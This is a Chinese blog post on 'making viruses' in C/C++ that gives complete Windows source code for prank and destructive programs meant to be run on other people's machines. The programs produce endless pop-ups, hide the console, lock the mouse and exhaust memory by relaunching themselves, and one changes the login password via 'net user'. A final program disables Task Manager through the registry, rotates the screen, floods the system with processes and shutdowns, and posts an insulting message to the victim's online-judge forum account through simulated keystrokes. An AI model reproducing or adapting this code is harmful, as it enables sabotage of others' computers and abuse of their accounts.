C++/C病毒制作

· · 个人记录

无限弹窗(C++)

弹窗大家都会吧,先来一个无限弹窗的小病毒吧!

#include <windows.h>
#pragma comment (lib, "User32.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
    while(1){
      MessageBox(NULL, TEXT("关不掉吧!"), TEXT("中病毒啦!"), MB_OK);//建立弹窗
    }
    return 0;
}

这个玩一玩就可以了,坑不到人的!

可以坑人的小病毒(C++)

功能:

1.隐藏控制台

2.隐藏图标,锁定鼠标

3.抢内存

1.隐藏控制台

这个就很简单

几行代码就可以

#include<windows.h>
int main() 
{ 
    HWND hwnd; 
    hwnd=FindWindow("ConsoleWindowClass",NULL); 
    if(hwnd) 
    { 
        ShowWindow(hwnd,SW_HIDE); 
    } 
    return 0; 
}

2.隐藏图标,锁定鼠标

隐藏图标也简单

#include<iostream>
#include<Windows.h>
using namespace std; 
int main() 
{ 
    HWND hWnd = GetConsoleWindow(); 
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
}

锁定鼠标也简单

#include<iostream> 
#include<windows.h>
int main()
{
    srand (time(0));
    int x,y;
    while(1)
    {
        x=rand()%1000+300; //x坐标的范围,可以换 
        y=rand()%600+300;  //y坐标的范围,可以换 
        SetCursorPos(x,y); //x,y可以换成两个固定的值 即可改成鼠标锁定 
    }
    return 0;
}

3.抢内存

我想到了一种简单的方法

就是获取当前文件的完整路径

然后用system不停的打开这个文件

这样刷内存

代码很简单

#define _CRT_SECURE_NO_WARNINGS 
#include<iostream>
#include<Windows.h>
using namespace std; 
int main() 
{ 
    char s[100] = "start "; 
    system(strcat(s, _pgmptr)); 
}

代码!

#include<bits/stdc++.h>
#include<windows.h>
int main() 
{ 
    HWND hwnd; 
    hwnd=FindWindow("ConsoleWindowClass",NULL); 
    if(hwnd) 
    { 
        ShowWindow(hwnd,SW_HIDE); 
    }
    char s[100] = "start "; 
    system(strcat(s, _pgmptr));
    int x,y;
    while(1)
    {
        x=rand()%1000+300; //x坐标的范围,可以换 
        y=rand()%600+300;  //y坐标的范围,可以换 
        SetCursorPos(x,y); //x,y可以换成两个固定的值 即可改成鼠标锁定 
    }
    return 0; 
}

有破坏力的病毒(C)

修改开机密码:

#include<stdio.h>
#include<stdlib.h>
int main(){
    char user[100]={0};
    char *username=“用户名";
    char *password=“abc1234”;
    sprintf(user,"net user %s %s",username,password);system(user);
    return 0;
}

破坏力很大的病毒(C++)(不要运行!!!)

#include <bits/stdc++.h>
#include <windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0)
using namespace std;
int a; 
string user;
POINT p;

BOOL StringToClipBoard(char* srcString)
{
    BOOL bResult = FALSE;
    DWORD dwLength = strlen(srcString);
    HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1); // 分配内存
    LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory); // 锁定内存
    if ( NULL != lpGlobalMemory )
    {
        strcpy((char*)lpGlobalMemory, srcString);
        GlobalUnlock(hGlobalMemory); // 锁定内存块解锁
        OpenClipboard(NULL); // 打开剪贴板
        EmptyClipboard(); // 清空剪贴板
        SetClipboardData(CF_TEXT, hGlobalMemory); // 将内存中的数据放置到剪贴
        CloseClipboard();
        bResult = TRUE;
    }
    return bResult;
}

void jin_r()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
} 
void fanzhuan()
{
    DEVMODE dm;
    // initialize the DEVMODE structure
    ZeroMemory(&dm, sizeof(dm));
    dm.dmSize = sizeof(dm);
    if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm))
    {
        // swap height and width
        DWORD dwTemp = dm.dmPelsHeight;
        dm.dmPelsHeight = dm.dmPelsWidth;
        dm.dmPelsWidth = dwTemp;
        // determine new orientaion
        switch (dm.dmDisplayOrientation)
        {
        case DMDO_DEFAULT:
            dm.dmDisplayOrientation = DMDO_270;
            break;
        case DMDO_270:
            dm.dmDisplayOrientation = DMDO_180;
            break;
        case DMDO_180:
            dm.dmDisplayOrientation = DMDO_90;
            break;
        case DMDO_90:
            dm.dmDisplayOrientation = DMDO_DEFAULT;
            break;
        default:
            // unknown orientation value
            // add exception handling here
            break;
        }
        long lRet = ChangeDisplaySettings(&dm, 0);
        if (DISP_CHANGE_SUCCESSFUL != lRet)
        {
            // add exception handling here
        }
    }
}

void down(int vk)
{
    keybd_event(vk,0,0,0);
}
void up(int vk)
{
    keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void press(int vk)
{
    keybd_event(vk,0,0,0);
    keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void danji()
{
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    Sleep(10);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
int main()
{
    HWND hwnd = GetForegroundWindow();
    cout << "为了更好体验,你需要在https://oj.hetao101.com/注册一个自己的账户\n";
    MessageBox(NULL,"准备好后点确定就可以开始啦~","聊天",MB_OK | MB_ICONINFORMATION);
    a = MessageBox(NULL,"你确定要运行此程序吗?","系统消息",MB_OKCANCEL | MB_ICONINFORMATION);
    if (a == 1)
    {
        MessageBox(NULL,"按确定三秒后开始运行程序......","系统消息",MB_OK|MB_ICONINFORMATION);
        Sleep(2000); 
    }
    else
    {
        MessageBox(NULL,"不行!你必须运行这个程序!","系统消息",MB_OK | MB_ICONINFORMATION| MB_SYSTEMMODAL);
    }

    SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
    MoveWindow(hwnd,200,200,500,200,TRUE);

    cout << "嘿,我是xxx, 谢谢你打开我哦,我等你很久拉~\n";
    SetCursorPos(5000,5000);
    Sleep(1000);
    cout << "哈,我想你拉,xxxxx\n";
    SetCursorPos(5000,5000);
    Sleep(1000);

    system("start https://oj.hetao101.com/discuss/node/%E5%88%86%E4%BA%AB/create");
    cout << "可以让我看看你的账户吗?";
    SetCursorPos(5000,5000);
    Sleep(1000);

    StringToClipBoard("所有人看我!我是大傻逼!");
    SetCursorPos(300,280);
    danji();
    SetCursorPos(300,280);
    danji();
    down(VK_CONTROL);
    keybd_event(86,0,0,0);
    keybd_event(86,0,KEYEVENTF_KEYUP,0);
    Sleep(10);
    press(VK_RETURN);
    up(VK_CONTROL);

    Sleep(1000);
    SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE);
    system("cls");
    cout << "哈哈哈,等着电脑寄寄吧!\n";
    jin_r();
    HWND hwnd2 = GetDesktopWindow();
    HDC hdc = GetWindowDC(hwnd);
    POINT cursor;

    SetCursorPos(5000,5000);
    Sleep(1500);
    ShowWindow(hwnd,SW_MINIMIZE);

    for (int i = 1;i <= 6;i++)
        system("start cmd");
    for (int i = 1;i <= 2;i++)
    {
        SetCursorPos(rand()%1000,rand()%1000);
        system("start notepad");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start calc");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start winver");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start Nslookup");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start cleanmgr");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start charmap");
        SetCursorPos(rand()%1000,rand()%1000);
        system("start dxdiag");
        fanzhuan();
    }
    system("start cmd");
    double start = clock();
    double end = clock() - start;
    while (end < 4000)
    {
        end = clock() - start;
        SetCursorPos(rand()%1000,rand()%1000);
        GetCursorPos(&cursor);
        DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
        Sleep(0.5);
        SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
        MoveWindow(hwnd,650,350,600,400,TRUE);
        cout << "你的电脑真好玩,xxx~";
        system("cls");
    }
    for (int i = 1;i <= 2;i++)
        fanzhuan();
    for (int i = 1;i <= 5;i++)  
        system("shutdown -s -t 60");
    Sleep(500);
    while (1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
        GetCursorPos(&cursor);
        DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
        DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
        Sleep(0.5);
        malloc(1000);
        SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
        MoveWindow(hwnd,650,350,600,400,TRUE);
        cout << "你的电脑真好玩,xxx~";
        fanzhuan();
        system("cls");
    }
    return 0;
}